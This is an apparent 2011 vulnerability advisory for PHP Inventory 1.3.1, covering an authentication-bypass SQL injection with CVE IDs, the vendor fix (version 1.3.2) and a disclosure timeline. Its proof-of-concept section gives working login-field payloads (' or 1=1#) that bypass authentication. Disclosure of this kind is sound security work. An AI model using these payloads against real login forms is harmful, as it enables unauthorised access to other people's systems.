PHP Inventory 1.3.1 SQL Injection

`Advisory: PHP Inventory 1.3.1 Remote (Auth Bypass) SQL Injection Vulnerability  
Advisory ID: INFOSERVE-ADV2011-08  
Author: Stefan Schurtz  
Contact: [email protected]  
Affected Software: Successfully tested on PHP Inventory 1.3.1  
Vendor URL: http://www.phpwares.com/  
Vendor Status: fixed  
CVE-ID: CVE-2009-4595,CVE-2009-4596,CVE-2009-4597  
  
==========================  
Vulnerability Description  
==========================  
  
PHP Inventory is (still) prone to a SQL-Injection (Auth Bypass) vulnerability  
  
==================  
PoC-Exploit  
==================  
  
http://[target]/php-inventory/index.php   
  
// with 'magic_quotes_gpc = Off'  
  
USER NAME = ' or 1=1#  
  
or  
  
USER NAME = admin  
PASSWORD = ' or 1=1#  
  
=========  
Solution  
=========  
  
Update to the latest version 1.3.2  
  
====================  
Disclosure Timeline  
====================  
  
29-Nov-2011 - informed vendor (contact form)  
30-Nov-2011 - vendor fix  
  
========  
Credits  
========  
  
Vulnerabilitiy found and advisory written by the INFOSERVE security team.  
  
===========  
References  
===========  
  
http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2011-08.txt  
http://www.exploit-db.com/exploits/10370/  
http://secunia.com/advisories/37672/  
`